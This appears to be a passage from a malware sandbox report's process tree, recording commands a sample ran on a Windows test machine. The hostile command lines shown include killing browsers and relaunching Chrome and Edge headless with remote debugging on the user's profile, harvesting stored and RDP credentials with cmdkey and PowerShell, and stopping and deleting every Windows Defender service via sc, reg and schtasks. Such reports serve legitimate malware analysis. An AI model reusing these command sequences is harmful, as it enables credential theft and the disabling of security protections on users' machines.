C:\Windows\system32\taskkill.exe"taskkill" /F /IM DiscordDevelopment.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM maxthon.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM uc_browser.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM slimjet.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM cent_browser.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM epic.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM torch.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM whale.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM 360browser.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM qqbrowser.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM msedge.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM brave.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM opera.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM vivaldi.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM firefox.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM dragon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM maxthon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM uc_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM slimjet.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM cent_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM epic.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM torch.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM whale.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM 360browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM qqbrowser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq chrome.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-extensions --disable-gpu --no-sandbox --disable-software-rasterizer --disable-dev-shm-usage --disable-background-networking --disable-default-apps --disable-translate --disable-sync --metrics-recording-only --mute-audio --no-first-run --no-default-browser-check --remote-debugging-port=46286 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default7⤵
- Uses browser remote debugging
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc62e4dcf8,0x7ffc62e4dd04,0x7ffc62e4dd108⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --gpu-preferences=UAAAAAAAAADgAQAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --field-trial-handle=2476,i,16354685821874023837,12045873099179892630,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2456 /prefetch:28⤵
- Modifies registry class
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2896,i,16354685821874023837,12045873099179892630,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2888 /prefetch:38⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=3096,i,16354685821874023837,12045873099179892630,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3088 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=46286 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,16354685821874023837,12045873099179892630,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2492 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=46286 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,16354685821874023837,12045873099179892630,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=1652 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=46286 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3972,i,16354685821874023837,12045873099179892630,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3968 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=4504,i,16354685821874023837,12045873099179892630,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4500 /prefetch:88⤵
-
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq chrome.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq msedge.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-extensions --disable-gpu --no-sandbox --disable-software-rasterizer --disable-dev-shm-usage --disable-background-networking --disable-default-apps --disable-translate --disable-sync --metrics-recording-only --mute-audio --no-first-run --no-default-browser-check --remote-debugging-port=47037 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default7⤵
- Uses browser remote debugging
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x238,0x23c,0x240,0x234,0x24c,0x7ffc6345f208,0x7ffc6345f214,0x7ffc6345f2208⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --gpu-preferences=UAAAAAAAAADgAQAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --always-read-main-dll --field-trial-handle=2520,i,3585056422909900231,7957304870864948959,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3000 /prefetch:28⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=3120,i,3585056422909900231,7957304870864948959,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3156 /prefetch:38⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=3028,i,3585056422909900231,7957304870864948959,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:88⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --no-sandbox --remote-debugging-port=47037 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2736,i,3585056422909900231,7957304870864948959,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --no-sandbox --remote-debugging-port=47037 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2728,i,3585056422909900231,7957304870864948959,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3208 /prefetch:18⤵
- Uses browser remote debugging
-
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq msedge.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM msedge.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM msedge.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM brave.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM opera.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM vivaldi.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM firefox.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM dragon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM maxthon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM uc_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM slimjet.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM cent_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM epic.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM torch.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM whale.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM 360browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM qqbrowser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM msedge.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM brave.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM opera.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM vivaldi.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM firefox.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM dragon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM maxthon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM uc_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM slimjet.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM cent_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM epic.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM torch.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM whale.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM 360browser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM qqbrowser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\vaultcmd.exe"vaultcmd" /list7⤵
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list8⤵
-
-
-
C:\Windows\system32\certutil.exe"certutil" -store My7⤵
-
-
C:\Windows\system32\certutil.exe"certutil" -store -user My7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-VpnConnection | ConvertTo-Json"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "7⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list:TERMSRV/69.48.201.747⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedProductExe,productState /Format:List7⤵
-
-
C:\Windows\system32\hostname.exe"hostname"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-WmiObject Win32_VideoController | ForEach-Object { $_.Name }"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-NetAdapter | Where-Object { $_.Status -eq 'Up' -and $_.InterfaceDescription -notmatch 'virtual|loopback' } | Sort-Object -Property LinkSpeed -Descending | Select-Object -First 1 -ExpandProperty MacAddress"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedProductExe,productState /Format:List7⤵
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall show allprofiles state7⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\10412830101\apple.exe"C:\Users\Admin\AppData\Local\Temp\10412830101\apple.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\261.exe"C:\Users\Admin\AppData\Local\Temp\261.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F211.tmp\F212.tmp\F213.bat C:\Users\Admin\AppData\Local\Temp\261.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\261.exe"C:\Users\Admin\AppData\Local\Temp\261.exe" go9⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F2FB.tmp\F2FC.tmp\F2FD.bat C:\Users\Admin\AppData\Local\Temp\261.exe go"10⤵
- Drops file in Program Files directory
-
C:\Windows\system32\sc.exesc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 111⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\sc.exesc stop ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y11⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t11⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop "WinDefend"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WinDefend"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MDCoreSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MDCoreSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "Sense"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "Sense"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\Sense" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "wscsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "wscsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f11⤵
- Modifies security service
-
-
C:\Windows\system32\sc.exesc stop "SgrmBroker"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmBroker"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "SecurityHealthService"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SecurityHealthService"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefusersvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefusersvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisDrv"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisDrv"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdBoot"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdBoot"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdFilter"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdFilter"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "SgrmAgent"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmAgent"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecWfp"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecWfp"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecFlt"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecFlt"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecCore"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecCore"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete ddrver11⤵
- Launches sc.exe
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413640101\7ac44a072c.exe"C:\Users\Admin\AppData\Local\Temp\10413640101\7ac44a072c.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\10413650101\HAe88WC.exe"C:\Users\Admin\AppData\Local\Temp\10413650101\HAe88WC.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413660101\h8NlU62.exe"C:\Users\Admin\AppData\Local\Temp\10413660101\h8NlU62.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413670101\XOPPRUc.exe"C:\Users\Admin\AppData\Local\Temp\10413670101\XOPPRUc.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
